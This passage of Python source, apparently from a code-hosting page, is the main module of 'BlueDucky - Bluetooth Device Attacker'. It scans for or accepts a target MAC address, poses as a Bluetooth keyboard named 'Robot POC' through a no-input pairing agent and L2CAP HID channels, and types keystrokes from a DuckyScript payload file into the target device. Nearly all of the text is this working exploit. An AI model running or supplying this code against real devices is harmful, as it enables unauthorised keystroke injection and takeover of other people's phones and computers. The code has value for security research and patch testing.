manager.RequestDefaultAgent(path)
|
||||
log.debug("'NoInputNoOutput' pairing-agent is running")
|
||||
loop.run()
|
||||
|
||||
# Function to load known devices from a file
|
||||
def load_known_devices(filename='known_devices.txt'):
|
||||
if os.path.exists(filename):
|
||||
with open(filename, 'r') as file:
|
||||
return [tuple(line.strip().split(',')) for line in file]
|
||||
else:
|
||||
return []
|
||||
|
||||
# Function to save discovered devices to a file
|
||||
def save_devices_to_file(devices, filename='known_devices.txt'):
|
||||
with open(filename, 'w') as file:
|
||||
for addr, name in devices:
|
||||
file.write(f"{addr},{name}\n")
|
||||
|
||||
# Function to scan for devices
|
||||
def scan_for_devices():
|
||||
main_menu()
|
||||
|
||||
# Load known devices
|
||||
known_devices = load_known_devices()
|
||||
if known_devices:
|
||||
print("\nKnown devices:")
|
||||
for idx, (addr, name) in enumerate(known_devices):
|
||||
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
|
||||
|
||||
use_known_device = input("\nDo you want to use one of these known devices? (yes/no): ")
|
||||
if use_known_device.lower() == 'yes':
|
||||
device_choice = int(input("Enter the number of the device: "))
|
||||
return [known_devices[device_choice - 1]]
|
||||
|
||||
# Normal Bluetooth scan
|
||||
print("\nAttempting to scan now...")
|
||||
nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True, flush_cache=True, lookup_class=True)
|
||||
device_list = []
|
||||
|
||||
if len(nearby_devices) == 0:
|
||||
print("\nNo nearby devices found.")
|
||||
else:
|
||||
print("\nFound {} nearby device(s):".format(len(nearby_devices)))
|
||||
for idx, (addr, name, _) in enumerate(nearby_devices):
|
||||
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
|
||||
device_list.append((addr, name))
|
||||
|
||||
# Save the scanned devices only if they are not already in known devices
|
||||
new_devices = [device for device in device_list if device not in known_devices]
|
||||
if new_devices:
|
||||
known_devices += new_devices
|
||||
save_devices_to_file(known_devices)
|
||||
return device_list
|
||||
|
||||
def terminate_child_processes():
|
||||
for proc in child_processes:
|
||||
if proc.is_alive():
|
||||
proc.terminate()
|
||||
proc.join()
|
||||
|
||||
def main_menu():
|
||||
clear_screen()
|
||||
print_blue_ascii_art()
|
||||
title = "BlueDucky - Bluetooth Device Attacker"
|
||||
separator = 70 * "="
|
||||
print(separator)
|
||||
print(f"{separator}\n{title.center(len(separator))}\n{separator}")
|
||||
print("Remember, you can still attack devices without visibility...\nIf you have their MAC address")
|
||||
print(separator)
|
||||
|
||||
def is_valid_mac_address(mac_address):
|
||||
# Regular expression to match a MAC address in the form XX:XX:XX:XX:XX:XX
|
||||
mac_address_pattern = re.compile(r'^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$')
|
||||
return mac_address_pattern.match(mac_address) is not None
|
||||
|
||||
# Function to read DuckyScript from file
|
||||
def read_duckyscript(filename='payload.txt'):
|
||||
if os.path.exists(filename):
|
||||
with open(filename, 'r') as file:
|
||||
return [line.strip() for line in file.readlines()]
|
||||
else:
|
||||
log.warning(f"File {filename} not found. Skipping DuckyScript.")
|
||||
return None
|
||||
|
||||
# Main function
|
||||
def main():
|
||||
log.basicConfig(level=log.DEBUG)
|
||||
|
||||
main_menu()
|
||||
|
||||
target_address = input("\nWhat is the target address? Leave blank and we will scan for you: ")
|
||||
|
||||
if target_address == "":
|
||||
devices = scan_for_devices()
|
||||
if devices:
|
||||
if len(devices) > 1: # More than one device means a scan was performed
|
||||
selection = int(input("\nSelect a device by number: ")) - 1
|
||||
if 0 <= selection < len(devices):
|
||||
target_address = devices[selection][0]
|
||||
else:
|
||||
print("\nInvalid selection. Exiting.")
|
||||
return
|
||||
else:
|
||||
# Only one device, means a known device was selected
|
||||
target_address = devices[0][0]
|
||||
else:
|
||||
return
|
||||
elif not is_valid_mac_address(target_address):
|
||||
print("\nInvalid MAC address format. Please enter a valid MAC address.")
|
||||
return
|
||||
|
||||
# Check if payload exists
|
||||
duckyscript = read_duckyscript()
|
||||
if not duckyscript:
|
||||
duckyscript = "Hello There"
|
||||
log.info("Payload file not found. Exiting.")
|
||||
return
|
||||
|
||||
main_menu()
|
||||
print(f"Attacking {target_address}\n")
|
||||
|
||||
# Display Duckyscript after reading from file
|
||||
print(f"Duckyscript after reading from file: {duckyscript}")
|
||||
payload_line = duckyscript[0].replace('STRING ', '')
|
||||
|
||||
restart_bluetooth_daemon()
|
||||
|
||||
profile_proc = Process(target=register_hid_profile, args=('hci0', target_address))
|
||||
profile_proc.start()
|
||||
child_processes.append(profile_proc)
|
||||
|
||||
adapter = Adapter('hci0')
|
||||
adapter.set_name("Robot POC")
|
||||
adapter.set_class(0x002540)
|
||||
adapter.enable_ssp()
|
||||
|
||||
try:
|
||||
# Manage connections
|
||||
connection_manager = L2CAPConnectionManager(target_address)
|
||||
sdp_client = connection_manager.create_connection(1) # SDP
|
||||
hid_control_client = connection_manager.create_connection(17) # HID Control
|
||||
hid_interrupt_client = connection_manager.create_connection(19) # HID Interrupt
|
||||
|
||||
with PairingAgent('hci0', target_address) as agent:
|
||||
if connection_manager.connect_all():
|
||||
client = connection_manager.clients[19] # HID Interrupt client
|
||||
client.send_keypress('') # Empty report
|
||||
time.sleep(0.5)
|
||||
if duckyscript == "Hello There":
|
||||
for letter in duckyscript:
|
||||
if letter == " ":
|
||||
client.send_keypress(Key_Codes.SPACE)
|
||||
else:
|
||||
client.send_keypress(Key_Codes[letter])
|
||||
log.info("No DuckyScript commands to execute.")
|
||||
else:
|
||||
# Iterate through each line in duckyscript list from payload.txt
|
||||
for line in duckyscript:
|
||||
if line.startswith("REM"):
|
||||
continue # Ignore REM lines
|
||||
elif line.startswith("STRING"):
|
||||
text = line[7:] # Extract text after "STRING"
|
||||
for letter in text:
|
||||
# Send keypress for each letter
|
||||
if letter == " ":
|
||||
client.send_keypress(Key_Codes.SPACE)
|
||||
else:
|
||||
client.send_keypress(Key_Codes[letter])
|
||||
else:
|
||||
raise ConnectionFailureException("Failed to connect to all required ports")
|
||||
except ConnectionFailureException as e:
|
||||
log.error(f"Connection failure: {e}")
|
||||
terminate_child_processes()
|
||||
log.debug("Device is most likely patched")
|
||||
sys.exit("Exiting script due to connection failure")
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
finally:
|
||||
terminate_child_processes()
|
Loading…
Reference in New Issue